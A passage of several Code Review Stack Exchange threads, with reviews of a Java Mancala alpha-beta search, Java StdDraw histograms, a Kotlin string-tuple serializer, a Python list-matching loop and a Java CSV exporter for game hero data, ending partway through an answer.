<p>The game and corresponding classes (GameState etc) are provided by another source. I provide my class which optimizes a GameState.</p>
<p>All criticism is appreciated.</p>
<pre><code>package ai;
import java.lang.System.Logger;
import java.util.List;
import java.util.stream.Collectors;
import kalaha.GameState;
public class IterativeDeepeningOptimiser implements GameOptimiser {
Logger logger = System.getLogger(IterativeDeepeningOptimiser.class.getName());
private static final double MAX_CUTOFF = 101_000.0;
private static final double MIN_CUTOFF = -101_000.0;
private boolean searchCutoff = false;
private int maxTime;
private final GameState currentState;
public IterativeDeepeningOptimiser(int maxTime, final GameState currentState) {
this.maxTime = maxTime;
this.currentState = currentState;
}
public int optimize() {
List<Integer> validMoves = this.getPossibleMoves(currentState);
int moves = validMoves.size();
double maxScore = -Double.MAX_VALUE;
int bestMove = -1;
long timeForEach = maxTime / moves;
for (var move : validMoves) {
GameState clone = new GameState(currentState);
if (clone.makeMove(move)) {
double score = iterativeDeepSearch(clone, timeForEach);
if (score > maxScore) {
maxScore = score;
bestMove = move;
}
// WE WIN.
if (maxScore >= MAX_CUTOFF) {
return move;
}
}
}
return bestMove;
}
public double iterativeDeepSearch(final GameState gameClone, long timeForEachMove) {
long sTime = System.currentTimeMillis();
long endTime = sTime + timeForEachMove;
long depth = 1;
double score = 0;
this.searchCutoff = false;
boolean running = true;
while (running) {
GameState clone = new GameState(gameClone);
long cTime = System.currentTimeMillis();
if (cTime >= endTime) {
running = false;
break;
}
double searchResults = this.alphaBetaPruning(clone, depth, Integer.MIN_VALUE, Integer.MAX_VALUE, cTime,
endTime - cTime);
if (searchResults >= MAX_CUTOFF) {
return searchResults;
}
if (!this.searchCutoff) {
score = searchResults;
}
depth++;
}
return score;
}
private double alphaBetaPruning(GameState gameClone, long depth, double alpha, double beta, long startTime,
long timeLimit) {
boolean isMaximizing = gameClone.getNextPlayer() == 2;
double score = GameEvaluator.evaluate(gameClone);
List<Integer> moveList = getPossibleMoves(gameClone);
if (moveList.isEmpty()) {
return score;
}
long currentTime = System.currentTimeMillis();
long elapsedTime = (currentTime - startTime);
if (elapsedTime >= timeLimit) {
this.searchCutoff = true;
}
boolean over = this.gameOver(gameClone);
if (over || depth <= 0 || score >= MAX_CUTOFF || score <= MIN_CUTOFF) {
return score;
}
if (isMaximizing) {
double currentAlpha = -1 * Double.MAX_VALUE;
for (var move : moveList) {
if (gameClone.moveIsPossible(move)) {
GameState child = new GameState(gameClone);
child.makeMove(move);
currentAlpha = Math.max(currentAlpha,
alphaBetaPruning(child, depth - 1, alpha, beta, startTime, timeLimit));
alpha = Math.max(alpha, currentAlpha);
if (alpha >= beta) {
return alpha;
}
}
}
return currentAlpha;
}
double currentBeta = Double.MAX_VALUE;
for (var move : moveList) {
if (gameClone.moveIsPossible(move)) {
GameState child = new GameState(gameClone);
child.makeMove(move);
currentBeta = Math.min(currentBeta,
alphaBetaPruning(child, depth - 1, alpha, beta, startTime, timeLimit));
beta = Math.min(beta, currentBeta);
if (beta <= alpha) {
return beta;
}
}
}
return currentBeta;
}
private List<Integer> getPossibleMoves(GameState gameClone) {
return List.of(1, 2, 3, 4, 5, 6).stream().filter(e -> gameClone.moveIsPossible(e)).collect(Collectors.toList());
}
/**
* True if the game is over.
*
* @param clone
* @return
*/
private boolean gameOver(GameState clone) {
return clone.getWinner() != -1;
}
}
</code></pre>
<p>The evaluation function:</p>
<pre><code>package ai;
import java.util.stream.IntStream;
import kalaha.GameState;
public class GameEvaluator {
private static double[] HEURISTIC_WEIGHTS = new double[] { 30d, 7d, 100d, 100_000d, 1.3d };
private GameEvaluator() {
}
/**
* Heuristic function for the board. This heuristic cares about 1: Difference in
* scores, 2: Difference of ambos in pits, 3: Possible captues. 4: Possible
* steals. 5: If this player won.
*
* @param board current state of the game
* @param player for what player
* @return heuristic
*/
public static double evaluate(GameState board) {
int player = board.getNextPlayer();
int otherPlayer = player == 2 ? 2 : 1;
int difference = scoreDifference(board, player);
double amboDiff = euclideanDifferenceAmbos(board);
int possibleCaptures = possibleCaptures(board, player);
int steals = possibleSteals(board, player, otherPlayer);
int actualWinner = gameWinner(board, player);
double[] values = new double[] { difference, possibleCaptures, steals, actualWinner, amboDiff };
/*
* if (board.getNextPlayer() == 2) { return board.getScore(2) -
* board.getScore(1); } else { return board.getScore(1) - board.getScore(2); }
*/
return weightedSum(values);
}
/**
* Calculate weighted sum of constant weights and values provided.
*
* @param values heuristic values
* @return weighted sum
*/
private static double weightedSum(double[] values) {
double out = 0;
for (int i = 0; i < HEURISTIC_WEIGHTS.length; i++) {
out += HEURISTIC_WEIGHTS[i] * values[i];
}
return out;
}
/**
* Difference in scores.
*
* @param board current game state
* @param player current player
* @return score difference
*/
private static int scoreDifference(GameState board, int player) {
int scoreL = board.getScore(2);
int scoreR = board.getScore(1);
return (player == 2 ? scoreL - scoreR : scoreR - scoreL);
}
/**
* Returns whether or not the current player won.
*
* @param board current game state
* @param player current player
* @return 1 if current player won, 0 if draw or still ongoing, -1 if other
* player.
*/
private static int gameWinner(GameState board, int player) {
int winner = board.getWinner();
if (winner == -1 || winner == 0)
return 0;
if (winner == 1 || winner == 2)
return winner == player ? 1 : -1;
return 0;
}
/**
* Possible steals for a player, how many moves result in the last ambo landing
* in an empty pit?
*
* @param board current game state
* @param player current player
* @param nextPlayer next player
* @return the amount of possible steals
*/
private static int possibleSteals(GameState board, int player, int nextPlayer) {
int steals = 0;
for (int i = 1; i < 7; i++) {
int ambos = board.getSeeds(i, player);
int whereWeGot = 7 - i - ambos + 1;
if (board.getSeeds(whereWeGot, player) == 0) {
steals += board.getSeeds(whereWeGot, nextPlayer);
}
}
return steals;
}
/**
* Calculate the amount of possible captures you can do in this turn - i.e if
* making a move gives you a score in your house.
*
* @param board current game state.
* @param player current player.
* @return amount of possible captures
*/
private static int possibleCaptures(GameState board, int player) {
int possibleCaptures = 0;
for (int i = 1; i < 7; i++) {
int ambosForPit = board.getSeeds(i, player);
if (7 - i - ambosForPit >= 0)
possibleCaptures++;
}
return possibleCaptures;
}
/**
* Calculate the euclidean distance between the ambos in the pits.
*
* @param board current state of game
* @return euclidean distance
*/
private static double euclideanDifferenceAmbos(GameState board) {
double ambosInRPits = IntStream.range(1, 7).mapToDouble(e -> board.getSeeds(e, 1)).sum();
double ambosInLPits = IntStream.range(1, 7).mapToDouble(e -> board.getSeeds(e, 2)).sum();
double amboDiff = Math.sqrt(ambosInLPits * ambosInLPits + ambosInRPits * ambosInRPits);
return amboDiff;
}
}
</code></pre>
<p>Apart from a code review, I would love some comments on the choice of evaluation functions, weights, corresponding weights and cutoffs, and whether or not this actually makes sense.</p>
<p>Thank you!</p>
|
[] |
[
{
"body": "<p>I'm not really familiar with game AI development other than I roughly know what minimax is, so this review is mostly based on general and Java aspects. I'll start with <code>GameEvaluator</code>.</p>\n<h1><code>GameEvaluator</code></h1>\n<p>It's generally a bad decision to make a class purely static, especially when it represents business logic. A class instance makes testing and swapping out the logic during development or at runtime easier.</p>\n<hr />\n<p>The use of the <code>d</code> prefix for double literals is unusual, since it's the default. Just using <code>.0</code> to distinguish them from integers is more common.</p>\n<p>The use of underscore as thousands separator is nice. It's a Java feature too few know of.</p>\n<hr />\n<p>I'm not a big fan of storing the weights (and later the values) directly in arrays. I understand it makes the summation at the end easier and probably faster than using something else, but it doesn't help the readability, because the meaning of the individual weights get lost.</p>\n<p>Maybe "hide" the arrays in a "<code>Weighter</code>" class something like this:</p>\n<pre><code>class Weighter {\n private final double[] weights;\n\n public Weighter(double differenceWeight, double possibleCapturesWeight, double stealsWeight, double actualWinnerWeight, double amboDiffWeight) {\n weights = new double[] {differenceWeight, possibleCapturesWeight, stealsWeight, actualWinnerWeight, amboDiffWeight};\n }\n\n public double weightedSum(double difference, double possibleCaptures, double steals, double actualWinner, double amboDiff) {\n double[] values = new double[] { difference, possibleCaptures, steals, actualWinner, amboDiff };\n\n double out = 0;\n for (int i = 0; i < weights.length; i++) {\n out += weights[i] * values[i];\n }\n return out;\n }\n}\n</code></pre>\n<hr />\n<p>Similarly representing the players representing the players as integers <code>1</code> and <code>2</code> isn't very Java-like. A representation as an <code>enum</code> would fit better and catch errors such as <code>board.getScore(0)</code> at compile time.</p>\n<hr />\n<p>There are several things in the evaluation class that it should not need know, but should be provided by the game state (or an object representing the board independently from the game state):</p>\n<ul>\n<li>How to calculate the opposing player.</li>\n<li>How many pocket/holes there are on each players side (notice the hard coded 7 everywhere).</li>\n<li>How to calculate the opposite pocket/hole.</li>\n</ul>\n<hr />\n<p>I didn't understand some things:</p>\n<ul>\n<li>The meaning of the word "ambo".</li>\n<li>The difference between the return values <code>0</code>and <code>-1</code> of <code>board.getWinner()</code>.</li>\n<li>The meaning of the variable name <code>whereWeGot</code>.</li>\n</ul>\n<p>Some documentation or alternative variable names may help here.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T04:46:31.973",
"Id": "489778",
"Score": "0",
"body": "Hi, and thank you! I implemented your change (to a certain extent, I asked my professor if we were allowed to change anything in the GameState class and we were not.) Readability of the magic 7 is explained, weights have been refactored. I made some other changes, such as making GameEvaluator be injected into GameOptimiser, and most importantly, extending this algorithm with added multithreading functionality. Gained a ~6x performance boost and made the algorithm reach depths of avg 22 instead of avg 15. I too would have used an enum for players, but the gamestate api did not allow for it."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T09:49:46.967",
"Id": "249614",
"ParentId": "249485",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249614",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T09:57:49.460",
"Id": "249485",
"Score": "4",
"Tags": [
"java"
],
"Title": "Mancala Iterative Deepening"
}
|
249485
|
<p>This is almost exercise 3.2.14. from the book <em>Computer Science An Interdisciplinary Approach</em> by Sedgewick & Wayne (since I am self-studying, I changed it a little bit):</p>
<blockquote>
<p>Develop a version of <a href="https://introcs.cs.princeton.edu/java/32class/Histogram.java.html" rel="nofollow noreferrer">Histogram</a> that uses <a href="https://introcs.cs.princeton.edu/java/stdlib/javadoc/StdDraw.html" rel="nofollow noreferrer">StdDraw</a>, so that a client can
create multiple histograms. Use a test client that creates histograms
for flipping coins (Bernoulli trials) with a biased coin that is heads
with probability p, for p = 0.2, 0.4, 0.6. and 0.8, taking the number
of trials from the command line.</p>
</blockquote>
<p>Here are my programs:</p>
<pre><code>public class Histogram {
private final double[] data;
private final double max;
public Histogram(double[] data, double max) {
this.data = data;
this.max = max;
StdDraw.setXscale(0, data.length);
StdDraw.setYscale(0, max * 3);
}
public double[] getData() {
return data;
}
public int findMax() {
double max = 0;
int dataLength = data.length;
for (int i = 0; i < dataLength; i++) {
max = Math.max(max, data[i]);
}
return (int) max;
}
public void addData(int index) {
data[index]++;
}
public void draw(double xIncrement, double yIncrement) {
StdDraw.enableDoubleBuffering();
StdDraw.setPenColor(StdDraw.BOOK_BLUE);
for (int i = 0; i < data.length; i++) {
StdDraw.filledRectangle(i + 0.5 + xIncrement * data.length, yIncrement * data.length + data[i] / 2, 0.45, data[i] / 2);
StdDraw.show();
}
StdDraw.setPenColor(StdDraw.RED);
StdDraw.line(data.length + xIncrement * data.length + 0.005, 0,
data.length + xIncrement * data.length + 0.025, max * 3);
}
public static void main(String[] args) {
int trials = Integer.parseInt(args[0]);
double[] diceData = new double[6];
Histogram histogram = new Histogram(diceData, (trials / 6) * 2);
StdDraw.setPenColor(StdDraw.BOOK_BLUE);
for (int t = 1; t <= trials; t++) {
double r = Math.random();
if (r < 1.0 / 6.0) histogram.addData(0);
else if (r < 2.0 / 6.0) histogram.addData(1);
else if (r < 3.0 / 6.0) histogram.addData(2);
else if (r < 4.0 / 6.0) histogram.addData(3);
else if (r < 5.0 / 6.0) histogram.addData(4);
else if (r < 6.0 / 6.0) histogram.addData(5);
histogram.draw(0, 0);
}
}
}
</code></pre>
<hr />
<pre><code>public class Histograms {
private final Histogram[] histograms;
private final double max;
public Histograms(Histogram[] histograms, double max) {
this.histograms = histograms;
this.max = max;
StdDraw.setXscale(0, histograms[0].getData().length * histograms.length);
StdDraw.setYscale(0, max);
}
public void draw() {
int rows = histograms.length;
int columns = histograms.length;
for (int i = 0; i < columns; i++) {
if (rows % columns == 0) {
rows = rows / columns;
break;
} else {
rows++;
}
}
int m = 0;
for (int c = 0; c < columns; c++) {
for (int r = 0; r < rows; r++) {
histograms[m].draw(c, r);
m++;
}
}
}
public static void main(String[] args) {
int trials = Integer.parseInt(args[0]);
double max = trials;
double[] probabilities = {
0.2,
0.4,
0.6,
0.8
};
double[][] diceData = new double[4][2];
Histogram[] histograms = new Histogram[4];
for (int i = 0; i < 4; i++) {
histograms[i] = new Histogram(diceData[i], max);
}
for (int t = 1; t <= trials; t++) {
if (Math.random() < probabilities[0]) histograms[0].addData(0);
else histograms[0].addData(1);
if (Math.random() < probabilities[1]) histograms[1].addData(0);
else histograms[1].addData(1);
if (Math.random() < probabilities[2]) histograms[2].addData(0);
else histograms[2].addData(1);
if (Math.random() < probabilities[3]) histograms[3].addData(0);
else histograms[3].addData(1);
Histograms multipleHistograms = new Histograms(histograms, max);
multipleHistograms.draw();
StdDraw.pause(20);
}
}
}
</code></pre>
<p>I wanted <code>Histogram</code> to work also independently of <code>Histograms</code> and so I was forced to inject some redundancy into these two programs (for example they both use scaling but scaling within <code>Histograms</code> overrides the scaling within <code>Histogram</code>).</p>
<p>Here is one instance of <code>Histogram</code>:</p>
<p>Input: 100</p>
<p>Output:</p>
<p><a href="https://i.stack.imgur.com/dwtwN.gif" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dwtwN.gif" alt="enter image description here" /></a></p>
<p>Here is one instance of <code>Histograms</code>:</p>
<p>Input: 100</p>
<p>Output:</p>
<p><a href="https://i.stack.imgur.com/ltJh0.gif" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ltJh0.gif" alt="enter image description here" /></a></p>
<p>Is there any way that I can improve my programs?</p>
<p>Thanks for your attention.</p>
|
[] |
[
{
"body": "<p>A few remarks, mainly focussing on the <code>Histogram</code> class.</p>\n<h2>Separation of concerns</h2>\n<p>Your application contains different parts: algorithmic parts (collecting histogram data), user interface parts (<code>draw()</code> methods), and <code>main()</code> methods.</p>\n<p>You already separate these concerns into different methods, which is a good thing. But I recommend to go one step further, and to have different classes, e.g.:</p>\n<ul>\n<li>Histogram (for the algorithmic part),</li>\n<li>StdDrawHistogram (for presenting a histogram using <code>StdDraw</code>),</li>\n<li>HistogramApp (containing the <code>main()</code> method, wiring the parts together).</li>\n</ul>\n<h2>Histogram class API</h2>\n<p>I'd change the public API of Histogram a bit:</p>\n<p>You're using a <code>double[]</code> array for counting. But you never do fractional counts, you always just add an integer <code>1</code> to the buckets. So, you should change that to <code>int[]</code> (or <code>long[]</code> in the unlikely case you expect more than two billion counts).</p>\n<p>Your constructor <code>public Histogram(double[] data, double max)</code> forces the caller to prepare a <code>double[]</code> array of the appropriate dimension. This comes as a surprise to the caller. It should be enough to tell the <code>Histogram</code> the number of buckets, and setting up the counting structure (your array) should be the responsibility of the Histogram constructor.</p>\n<h2>Encapsulation</h2>\n<p>You typically want to hide the internals (that you're using an array instead of some other fancy data structure) from your callers. This way you're free to change the internals later without impact on code using your class. And you make it impossible for external code to fiddle around with the internals, bypassing the API of your class. E.g. currently, somewhere in your <code>main()</code> method you can write things like <code>diceData[2] = 7;</code>, and then the histogram data on that bucket gets overwritten. The only way of changing the data of your histogram should be by calling its methods.</p>\n<p>Following this argument, I'd also replace the <code>public double[] getData()</code> method with two methods:</p>\n<pre><code>public int getNumberOfBuckets() {\n return data.length;\n}\n\npublic int getCountInBucket(int i) {\n return data[i];\n}\n</code></pre>\n<p>You also force the constructor's caller to provide a <code>max</code> value that can't be known at that time, while the histogram is still empty. Maybe the name is misleading, and you don't mean the maximum count in a bucket, but the drawing height. Then it doesn't belong in the algorithmic part, but into the drawing part.</p>\n<h2>Readability</h2>\n<p>Code is typically read much more often than written, and so it's important that you can immediately understand what's going on.</p>\n<p>With the example of this <code>max</code> field, I strongly recommend to document the meaning of your code elements. At least to me, it's unclear whether max is intended to be the maximum count found in the histogram, or a space to be reserved when drawing the histogram, or something else. Writing Javadoc comments for fields and methods helps you avoid such ambiguities. Especially if you read your code some months after the initial creation, you'll be glad you documented it. Having to express your concepts in writing forces you to have the concepts clearly settled in your mind.</p>\n<p>Another means of helping readability is the naming of code elements. You already did quite a good job there, only the name <code>max</code> is a little unclear, as discussed earlier.</p>\n<h2>The max field</h2>\n<p>You have a field named <code>max</code>. It's only used inside the constructor, to set the scale for drawing, and not accessed anywhere else. So, holding it as information in the instance for all the lifetime of the instance after construction is useless, and you can eliminate the <code>private final double max;</code> field.</p>\n<p>In the useful <code>findMax()</code> method, you have a local variable <code>max</code> collecting the algorithmic information "highest count in any bucket". Having the same name as the field <code>max</code> confuses the reader. I first didn't notice that these were two different things. I'd recommend not to re-use field names as local variables.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T12:25:50.403",
"Id": "489248",
"Score": "0",
"body": "You answer is immensely helpful. Thank you very much for the beautiful answer."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T10:30:30.567",
"Id": "249533",
"ParentId": "249487",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249533",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T10:36:52.363",
"Id": "249487",
"Score": "2",
"Tags": [
"java",
"performance",
"beginner",
"object-oriented"
],
"Title": "Data-type implementation for multiple dynamic histograms"
}
|
249487
|
<p>Please review my class which is responsible of serialization and deserialization of the <code>StringTuple</code> data class.</p>
<pre><code>data class StringTuple(
val first: String,
val second: String
)
</code></pre>
<p>The idea is to serialize <code>StringTuple</code> to <code>ByteArray</code> in the following format:</p>
<pre><code>| first string size | first string serialized | second string serialized |
</code></pre>
<p>Here is the code:</p>
<pre><code>
import java.nio.ByteBuffer
import java.nio.charset.Charset
private val charset = Charset.forName("UTF-8")
class StringTupleSerializer {
fun serialize(value: StringTuple): ByteArray {
val first = value.first.toByteArray(charset)
val firstSize = encodeSize(first.size)
val second = value.second.toByteArray(charset)
return firstSize + first + second
}
private fun encodeSize(size: Int): ByteArray {
val buffer = ByteBuffer.allocate(Int.SIZE_BYTES)
buffer.putInt(0, size)
return buffer.array()
}
fun deserialize(byteArray: ByteArray): StringTuple {
val firstSize = decodeSize(byteArray)
val withoutFirstSize = byteArray.drop(Int.SIZE_BYTES)
val first = withoutFirstSize.take(firstSize).toByteArray().toString(charset)
val second = withoutFirstSize.drop(firstSize).toByteArray().toString(charset)
return StringTuple(first, second)
}
private fun decodeSize(byteArray: ByteArray): Int {
val buffer = ByteBuffer.allocate(Int.SIZE_BYTES)
buffer.put(byteArray, 0, Int.SIZE_BYTES)
buffer.flip()
return buffer.int
}
}
</code></pre>
<p>I'm looking mainly for the review of correctness of this solution.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T10:26:11.997",
"Id": "490003",
"Score": "0",
"body": "If you're \"looking mainly for the review of correctness of this solution.\" why don't you write some unit tests to check exactly what you want?!"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T11:37:25.603",
"Id": "249490",
"Score": "1",
"Tags": [
"kotlin"
],
"Title": "String tuple serializer"
}
|
249490
|
<p>I have some code that has three lists, and it then checks the index of the second list against the index of the first as long as the first list has six elements. The code will then append to the third list if part of a string matches in the index of the first list. If the string does not match, it will append a message. I am hoping to find a better, more Pythonic way of writing my algorithm. Here is my code:</p>
<pre><code>L1 = ["first = 1st","second = 2nd","third = 3rd","fourth = 4th","sixth = 6th",
"first = A","second = B","third = C","fifth = E","sixth = F",
"second = W","third = X","fourth = Y","fifth = Z","sixth = AA","first = BB"]
L2 = ["first","second","third","fourth","fifth","sixth"]
L3 = []
#Used in case a list has less than six elements
if len(L1) % 6 != 0:
L1.append("Missing_Data")
c = 0
for i in L1:
cont = True
while cont:
if L2[c] in i:
L3.append(i.split("= ")[-1])
c += 1
if c < len(L2):
cont = False
else:
c = 0
cont = False
else:
L3.append("Missing_Data")
c += 1
if c < len(L2):
continue
else:
c = 0
break
</code></pre>
<p>This code works for what I want it to do but I think its too long. Any help in making this code more Pythonic would be greatly appreciated. Thanks in advance.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T13:41:51.287",
"Id": "489128",
"Score": "1",
"body": "Can you show the output for the example and explain a bit more how it relates to the input? I'd prefer not having to read the code in order to try to understand what the task is that it's supposed to do. Not least because it wouldn't be the first time that people post actually wrong code, in which case we *can't* deduce the task from the code."
}
] |
[
{
"body": "<pre><code>if c < len(L2):\n continue\nelse:\n c = 0\n break\n</code></pre>\n<p>Since <code>continue</code> always happens at the end of a loop, you can reverse these conditions, to make it shorter.</p>\n<pre><code>if c >= len(L2):\n c = 0\n break\n</code></pre>\n<p>now you don't need <code>else</code> since anything else than the break condition will <code>continue</code> automatically.</p>\n<p>Higher up where you set <code>cont = False</code>, you could use <code>break</code> instead as far as I can tell. That removes the need for <code>cont</code> altogether so you can just do <code>while True:</code></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T14:42:41.480",
"Id": "489137",
"Score": "0",
"body": "I tried this and it works! Thank you for the insight."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T12:46:05.080",
"Id": "249494",
"ParentId": "249492",
"Score": "1"
}
},
{
"body": "<p>I'm mostly answering on SO so my answer might not be following PEP8 or other guidelines but I tried to make a version of your code that is easier to see what's going on, without ifs, breaks, continues and having a smaller line count:</p>\n<pre><code>length = len(L2)\nmissing = 'Missing_Data'\nindex = -1\n\nfor item in L1:\n key,value = item.split(' = ')\n current = L2.index(key)\n no_missing = (current-index)%length-1 # get number of missing elements\n L3 += [missing] * no_missing # append this many of the missing value\n L3.append(value) # append current value\n index = current\n \nL3 += [missing] * (length-index-1) # fill rest of list with missing elements\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T16:37:42.303",
"Id": "249503",
"ParentId": "249492",
"Score": "0"
}
},
{
"body": "<p>My review of your current code is easy to summarize: <em>It's too darn complicated and\nmakes my head hurt</em>. But don't feel bad, because you're in great company. First\nattempts are often like that – even for people who have been doing this\nfor a long time.</p>\n<p>What, specifically, makes it hard to understand? Algorithmic complexity: nested loops\nand conditionals, breaks, managing list indexes, and so forth. Whenever you perceive that type of complexity, it often helps to consider whether a more powerful data structure\nwould simplify the situation (I'm using "data structure" in a very broad sense).\nIn the rewrite offered below, we will use\na special iterable that allows us to peek at the next value without actually\nconsuming it every time. That one change drastically simplifies the bookkeeping\ninside the main loop, and it also simplifies how we append the needed\nremainder of missing values after we exit the loop.</p>\n<pre><code># This is a third party library that is worth knowing about.\nfrom more_itertools import peekable\n\n# Your data, aligned so we can see what is going on.\n# When you ask a question, it's a good idea to help your helpers.\nxs = [\n 'first = 1st', 'second = 2nd', 'third = 3rd', 'fourth = 4th', 'sixth = 6th',\n 'first = A', 'second = B', 'third = C', 'fifth = E', 'sixth = F',\n 'second = W', 'third = X', 'fourth = Y', 'fifth = Z', 'sixth = AA',\n 'first = BB',\n]\n\nys = ['first', 'second', 'third', 'fourth', 'fifth', 'sixth']\n\n# Python has a builtin concept for missing data. Use it if you can.\n# If you cannot, define a constant.\nMISSING = None\n\n# The results we want.\n# When you ask a question, it's a good idea to provide this.\nEXPECTED = [\n '1st', '2nd', '3rd', '4th', MISSING, '6th',\n 'A', 'B', 'C', MISSING, 'E', 'F',\n MISSING, 'W', 'X', 'Y', 'Z', 'AA',\n 'BB', MISSING, MISSING, MISSING, MISSING, MISSING\n]\n\n# We will use a peekable iterable for both the Xs and the Ys.\nxit = peekable(xs)\nyit = None\nresults = []\n\n# Process all Xs to build the results.\n# A Y is consumed each time, and we get a fresh Ys iterable as needed.\n# We consume an X only when current X and Y agree.\nwhile xit:\n yit = yit or peekable(ys)\n x = xit.peek()\n y = next(yit)\n val = next(xit).split('= ')[-1] if y in x else MISSING\n results.append(val)\n\n# The results should always contain a full cycle of Ys.\nresults.extend(MISSING for _ in yit)\n\n# Check.\nprint(results == EXPECTED)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T19:00:30.927",
"Id": "489155",
"Score": "0",
"body": "This is wonderful @FMc! I'm going to do more research on `more_itertools` to learn more about it. Using your code would drop the original by 13 lines. Cheers!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T17:11:03.923",
"Id": "249504",
"ParentId": "249492",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249504",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T11:43:53.110",
"Id": "249492",
"Score": "2",
"Tags": [
"python",
"python-3.x"
],
"Title": "Multiple list comparison Python"
}
|
249492
|
<p>I created simple export tool for my project. My requirments was to create one csv file for details of my hero which contains name, level, gold etc. And second file for list of items.
Both of files contains static header and generated Data.</p>
<p>First, let me share my model classes:</p>
<pre><code>public class Hero {
private String name;
private int level;
private List<Item> items = new ArrayList();
private String className;
private BigDecimal gold;
//getters setters constructors
}
public class Item {
private int id;
private String name;
private double weight;
//getters setters constructors
}
public class Weapon extends Item {
private int dmg;
private int level;
//getters setters constructors
}
public class Food extends Item {
private int capacity;
private int hpRegen;
//getters setters constructors
}
</code></pre>
<p>I wont share real classes, because they are a little too big, so I have prepared sample classes.</p>
<p>And here we go with example 'exporter'. This class has two public methods which return <code>CSVWriter</code> which we can use to save data to file.</p>
<pre><code>public class HeroWriter {
private Hero hero;
private final static String[] HERO_INFO_HEADER = {
"server",
"date",
"name",
"class",
"level",
"gold"
};
private final static String[] ITEM_LIST_HEADER = {
"id",
"name",
"weight",
"dmg",
"hp",
"required level",
"capacity"
};
public HeroWriter(Hero hero) {
this.hero = hero;
}
public CSVWriter writeHeroInformation() {
CSVWriter writer = new CSVWriter(null);
writer.writeNext(HERO_INFO_HEADER);
String[] heroInformation = {
"Mocked Server",
new Date().toString(),
hero.getName(),
hero.getClassName(),
hero.getLevel()+"",
hero.getGold().toString()
};
writer.writeNext(heroInformation);
return writer;
}
public CSVWriter writeItemList() {
CSVWriter writer = new CSVWriter(null);
writer.writeNext(ITEM_LIST_HEADER);
for (Item item : hero.getItems()) {
if(item instanceof Weapon) {
Weapon weapon = (Weapon) item;
String[] weaponDetail = {
weapon.getId() + "",
weapon.getName(),
weapon.getWeight() + "",
weapon.getDmg() + "",
"-",
weapon.getLevel() + "",
"-"
};
writer.writeNext(weaponDetail);
} else if (item instanceof Food) {
Food food = (Food) item;
String[] foodDetail = {
food.getId() + "",
food.getName(),
food.getWeight() + "",
"-",
food.getHpRegen() + "",
"-",
food.getCapacity() + ""
};
writer.writeNext(foodDetail);
}
}
return writer;
}
}
</code></pre>
<p>I would like to as you to review HeroWriter class, because I have problem with <strong>OOP</strong> and would like to improve in this aspect.</p>
<p>I was thinking that maybe I could create <code>Exportable</code> interface which contains method like <code>String[] export();</code> and I would implement it in Hero/Weapon/Item class that would help me remove instanceof part of code. But I am not sure if it is good idea.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T15:43:00.410",
"Id": "489142",
"Score": "0",
"body": "Hello, have you implemented the `toString` method in your classes ?"
}
] |
[
{
"body": "<pre class=\"lang-java prettyprint-override\"><code>hero.getLevel()+""\n</code></pre>\n<p>Use an explicit cast instead of implicit one:</p>\n<pre class=\"lang-java prettyprint-override\"><code>Integer.toString(hero.getLevel())\n</code></pre>\n<pre><code>\n```java\nnew Date().toString(),\n// ...\nhero.getGold().toString()\n</code></pre>\n<p>Which might or might not be the format you want in the final file. Ideally you'd define explicit formatting rules.</p>\n<hr />\n<p>There are a few approaches to serialization of data like in your case.</p>\n<h3>POJOs are Serializable</h3>\n<p>The first approach is to teach your POJOs how they are being serialized. That means that they implement some interface, like <code>CsvSerializable</code> which defines the method `serialize(CSVWriter csvWriter).</p>\n<p>This has the upsides that the the objects themselves know how to serialize themselves. The downsides are that your data is now bound to <code>CSVWriter</code> and that you need to thing about where and how to put the header.</p>\n<h3>Adapters</h3>\n<p>The second possibility is to use "adapters", which means that you have <code>Hero</code> and <code>HeroSerializer</code> classes. The later has a method like <code>serialize(Hero hero, CSVWriter csvWriter)</code>.</p>\n<p>This has the upside that your data classes are fine on their own, the downside is that you need two classes per class (that's 100% more class per class) and that the logic you already have is not that much improved.</p>\n<h3>Monolithic serializer</h3>\n<p>That's basically that approach that you already have. With some minor changes (like encapsulating more logic into separate methods, for example the writing of each different item type into its own method) it's actually a very good approach. It keeps your data classes on their own, but you have an ever growing monolith.</p>\n<h3>Reflective serialization</h3>\nFields\n<p>Now comes the fun one, you could use reflection to access the fields at runtime. That means that your <code>ITEM_LIST_HEADER</code> actually becomes the key to serialization of your objects. That approach is more complicated, but means a little bit more flexibility. The downside is that your fields always must be the same than the headers...well, if you consider that a downside.</p>\n<p>So what you could be doing is something like this:</p>\n<pre class=\"lang-java prettyprint-override\"><code>private void writeLine(CSVWriter csvWriter, Object object, String[] fieldNames) {\n Map<String, Field> fields = getFields(object.getClass());\n String[] values = new String[fields.length];\n \n for (int index = 0; index < fieldNames.length; index++) {\n String 